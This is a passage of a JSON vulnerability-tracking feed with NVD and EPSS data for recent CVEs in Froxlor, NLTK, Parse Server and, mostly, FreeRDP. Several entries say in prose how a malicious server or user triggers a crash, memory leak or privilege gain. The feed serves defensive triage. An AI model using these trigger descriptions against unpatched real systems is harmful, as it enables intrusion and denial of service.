score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109961&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109961, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109960","cveId":"CVE-2026-109960","aliases":[],"kind":"vulnerability","title":"Froxlor 2.0.0 before 2.3.14 contains a stored cross-site scripting vulnerability that allows authenticated customers to inject HTML and JavaScript by setting a malicious theme...","summary":"Froxlor 2.0.0 before 2.3.14 contains a stored cross-site scripting vulnerability that allows authenticated customers to inject HTML and JavaScript by setting a malicious theme value via customer_index.php. Script executes when an administrator views the customer overview with the Theme column enabled, letting attackers abuse the CSRF token to create administrator accounts or change server settings.","detail":"Froxlor 2.0.0 before 2.3.14 contains a stored cross-site scripting vulnerability that allows authenticated customers to inject HTML and JavaScript by setting a malicious theme value via customer_index.php. Script executes when an administrator views the customer overview with the Theme column enabled, letting attackers abuse the CSRF token to create administrator accounts or change server settings.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:35.207Z","updatedAt":"2026-10-13T14:17:35.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109960","asOf":"2026-10-13T14:17:35.357Z"},"epss":{"probability":0.00292,"percentile":0.2161,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109960&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109960","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109960","type":"primary","publishedAt":"2026-10-13T14:17:35.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109960&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109960, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109956","cveId":"CVE-2026-109956","aliases":[],"kind":"vulnerability","title":"NLTK through 3.10.3 contains a path traversal vulnerability in WekaClassifier that allows attackers to bypass nltk.pathsec containment by supplying unvalidated model paths.","summary":"NLTK through 3.10.3 contains a path traversal vulnerability in WekaClassifier that allows attackers to bypass nltk.pathsec containment by supplying unvalidated model paths. Attackers controlling the model_filename or model argument can make the weka JVM write files via -d or probe files via -l outside allowed data roots.","detail":"NLTK through 3.10.3 contains a path traversal vulnerability in WekaClassifier that allows attackers to bypass nltk.pathsec containment by supplying unvalidated model paths. Attackers controlling the model_filename or model argument can make the weka JVM write files via -d or probe files via -l outside allowed data roots.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:34.520Z","updatedAt":"2026-10-16T19:15:07.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109956","asOf":"2026-10-16T19:15:07.947Z"},"epss":{"probability":0.00318,"percentile":0.24501,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109956","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109956","type":"primary","publishedAt":"2026-10-13T14:17:34.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109954","cveId":"CVE-2026-109954","aliases":[],"kind":"vulnerability","title":"Parse Server 5.4.0 before 8.6.96 and 9.0.0 before 9.10.2-alpha.5 shares transactional batch state across concurrent requests, letting any client's transactional batch request...","summary":"Parse Server 5.4.0 before 8.6.96 and 9.0.0 before 9.10.2-alpha.5 shares transactional batch state across concurrent requests, letting any client's transactional batch request interfere with other clients' database writes. On PostgreSQL or MongoDB replica sets and sharded clusters, other clients' acknowledged writes are rolled back if the batch fails, and PostgreSQL transactions can remain open indefinitely, causing subsequent writes to fail.","detail":"Parse Server 5.4.0 before 8.6.96 and 9.0.0 before 9.10.2-alpha.5 shares transactional batch state across concurrent requests, letting any client's transactional batch request interfere with other clients' database writes. On PostgreSQL or MongoDB replica sets and sharded clusters, other clients' acknowledged writes are rolled back if the batch fails, and PostgreSQL transactions can remain open indefinitely, causing subsequent writes to fail.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:34.190Z","updatedAt":"2026-10-13T20:39:48.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109954","asOf":"2026-10-13T20:39:48.767Z"},"epss":{"probability":0.00218,"percentile":0.12208,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109954&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109954","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109954","type":"primary","publishedAt":"2026-10-13T14:17:34.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109954&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109954, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109944","cveId":"CVE-2026-109944","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.0.0 before 3.32.0 does not remove card handles when Emulate_SCardReleaseContext releases a smartcard-emulation context, so Emulate_SCardTransmit later looks up the...","summary":"FreeRDP 3.0.0 before 3.32.0 does not remove card handles when Emulate_SCardReleaseContext releases a smartcard-emulation context, so Emulate_SCardTransmit later looks up the deleted parent context and reaches a terminating WINPR_ASSERT. A malicious RDP server can crash a connecting client with smartcard emulation and redirection enabled by releasing a context, establishing another, and issuing SCardTransmit with the stale card handle.","detail":"FreeRDP 3.0.0 before 3.32.0 does not remove card handles when Emulate_SCardReleaseContext releases a smartcard-emulation context, so Emulate_SCardTransmit later looks up the deleted parent context and reaches a terminating WINPR_ASSERT. A malicious RDP server can crash a connecting client with smartcard emulation and redirection enabled by releasing a context, establishing another, and issuing SCardTransmit with the stale card handle.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:32.523Z","updatedAt":"2026-10-13T20:39:48.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109944","asOf":"2026-10-13T20:39:48.767Z"},"epss":{"probability":0.0027,"percentile":0.19028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109944&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109944","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109944","type":"primary","publishedAt":"2026-10-13T14:17:32.523Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109944&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109944, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109943","cveId":"CVE-2026-109943","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.29.0 before 3.32.0 contains a double free in the client's async-update message proxy, which shallow-copies the parser-owned PolygonSC or PolygonCB points array when...","summary":"FreeRDP 3.29.0 before 3.32.0 contains a double free in the client's async-update message proxy, which shallow-copies the parser-owned PolygonSC or PolygonCB points array when numPoints is zero, so both the queue consumer and parser cleanup free it. A malicious RDP server can send a point-bearing polygon order followed by a zero-point order to crash a client with +async-update enabled.","detail":"FreeRDP 3.29.0 before 3.32.0 contains a double free in the client's async-update message proxy, which shallow-copies the parser-owned PolygonSC or PolygonCB points array when numPoints is zero, so both the queue consumer and parser cleanup free it. A malicious RDP server can send a point-bearing polygon order followed by a zero-point order to crash a client with +async-update enabled.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:32.377Z","updatedAt":"2026-10-14T20:10:50.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109943","asOf":"2026-10-14T20:10:50.690Z"},"epss":{"probability":0.0027,"percentile":0.19028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109943&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109943","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109943","type":"primary","publishedAt":"2026-10-13T14:17:32.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109943&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109943, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109942","cveId":"CVE-2026-109942","aliases":[],"kind":"vulnerability","title":"FreeRDP 2.3.0 before 3.32.0 dereferences a NULL stream in rdg_process_close_packet in libfreerdp/core/gateway/rdg.c because rdg_process_control_packet accepts a header-only...","summary":"FreeRDP 2.3.0 before 3.32.0 dereferences a NULL stream in rdg_process_close_packet in libfreerdp/core/gateway/rdg.c because rdg_process_control_packet accepts a header-only PKT_TYPE_CLOSE_CHANNEL packet and passes the null payload without a check. A malicious or compromised RD Gateway can send an eight-byte CLOSE_CHANNEL header to crash a connecting FreeRDP client.","detail":"FreeRDP 2.3.0 before 3.32.0 dereferences a NULL stream in rdg_process_close_packet in libfreerdp/core/gateway/rdg.c because rdg_process_control_packet accepts a header-only PKT_TYPE_CLOSE_CHANNEL packet and passes the null payload without a check. A malicious or compromised RD Gateway can send an eight-byte CLOSE_CHANNEL header to crash a connecting FreeRDP client.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:32.220Z","updatedAt":"2026-10-16T22:17:19.777Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109942","asOf":"2026-10-16T22:17:19.777Z"},"epss":{"probability":0.00321,"percentile":0.2484,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109942&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109942","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109942","type":"primary","publishedAt":"2026-10-13T14:17:32.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109942&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109942, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109941","cveId":"CVE-2026-109941","aliases":[],"kind":"vulnerability","title":"FreeRDP from 2.3.0 before 3.32.0 contains an infinite loop vulnerability in http_chuncked_read that allows malicious RD Gateways to hang clients by sending incomplete chunked...","summary":"FreeRDP from 2.3.0 before 3.32.0 contains an infinite loop vulnerability in http_chuncked_read that allows malicious RD Gateways to hang clients by sending incomplete chunked responses. Attackers can send a partial chunk-size line or footer followed by a clean TLS shutdown, causing zero-byte reads to loop forever and freeze the client decoder thread.","detail":"FreeRDP from 2.3.0 before 3.32.0 contains an infinite loop vulnerability in http_chuncked_read that allows malicious RD Gateways to hang clients by sending incomplete chunked responses. Attackers can send a partial chunk-size line or footer followed by a clean TLS shutdown, causing zero-byte reads to loop forever and freeze the client decoder thread.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:32.073Z","updatedAt":"2026-10-18T12:17:06.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109941","asOf":"2026-10-18T12:17:06.120Z"},"epss":{"probability":0.00321,"percentile":0.24879,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109941&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109941","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109941","type":"primary","publishedAt":"2026-10-13T14:17:32.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109941&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109941, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109939","cveId":"CVE-2026-109939","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.27.1 before 3.32.0 contains a NULL pointer dereference in update_read_cache_bitmap_v3_order() in libfreerdp/core/orders.c, which accesses the client bitmap cache when...","summary":"FreeRDP 3.27.1 before 3.32.0 contains a NULL pointer dereference in update_read_cache_bitmap_v3_order() in libfreerdp/core/orders.c, which accesses the client bitmap cache when the CBR3_DO_NOT_CACHE flag is set, even though the cache is not yet initialized before Demand Active. A malicious or compromised RDP server can send a Cache Bitmap V3 order during connection setup to crash a connecting client that has enabled the non-default Bitmap Cache V3 feature (/cache:codec:<rfx|nsc|jpeg>).","detail":"FreeRDP 3.27.1 before 3.32.0 contains a NULL pointer dereference in update_read_cache_bitmap_v3_order() in libfreerdp/core/orders.c, which accesses the client bitmap cache when the CBR3_DO_NOT_CACHE flag is set, even though the cache is not yet initialized before Demand Active. A malicious or compromised RDP server can send a Cache Bitmap V3 order during connection setup to crash a connecting client that has enabled the non-default Bitmap Cache V3 feature (/cache:codec:<rfx|nsc|jpeg>).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:31.767Z","updatedAt":"2026-10-13T20:39:48.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109939","asOf":"2026-10-13T20:39:48.767Z"},"epss":{"probability":0.0027,"percentile":0.19028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109939&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109939","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109939","type":"primary","publishedAt":"2026-10-13T14:17:31.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109939&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109939, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109938","cveId":"CVE-2026-109938","aliases":[],"kind":"vulnerability","title":"Positive mapped-video coordinates overflow and abort FreeRDP clients A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video...","summary":"Positive mapped-video coordinates overflow and abort FreeRDP clients A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video redirection enabled.","detail":"Positive mapped-video coordinates overflow and abort FreeRDP clients A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video redirection enabled.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:31.617Z","updatedAt":"2026-10-15T15:54:26.210Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109938","asOf":"2026-10-15T15:54:26.210Z"},"epss":{"probability":0.00321,"percentile":0.24879,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109938&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109938","type":"primary","publishedAt":"2026-10-13T14:17:31.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109938&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109938, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109677","cveId":"CVE-2026-109677","aliases":[],"kind":"vulnerability","title":"FreeRDP from 2.0.0-beta1 before 3.28.0 contains an out-of-bounds read vulnerability in smartcard_LocateCardsByATRA_Call because the ATR pattern cbAtr byte count is not capped.","summary":"FreeRDP from 2.0.0-beta1 before 3.28.0 contains an out-of-bounds read vulnerability in smartcard_LocateCardsByATRA_Call because the ATR pattern cbAtr byte count is not capped. Malicious RDP servers can send crafted ATR mask arrays to use query timing as an oracle, leaking heap memory bit-by-bit to defeat ASLR and aid RCE exploits.","detail":"FreeRDP from 2.0.0-beta1 before 3.28.0 contains an out-of-bounds read vulnerability in smartcard_LocateCardsByATRA_Call because the ATR pattern cbAtr byte count is not capped. Malicious RDP servers can send crafted ATR mask arrays to use query timing as an oracle, leaking heap memory bit-by-bit to defeat ASLR and aid RCE exploits.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:30.897Z","updatedAt":"2026-10-13T20:39:48.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109677","asOf":"2026-10-13T20:39:48.767Z"},"epss":{"probability":0.00337,"percentile":0.26848,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109677&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 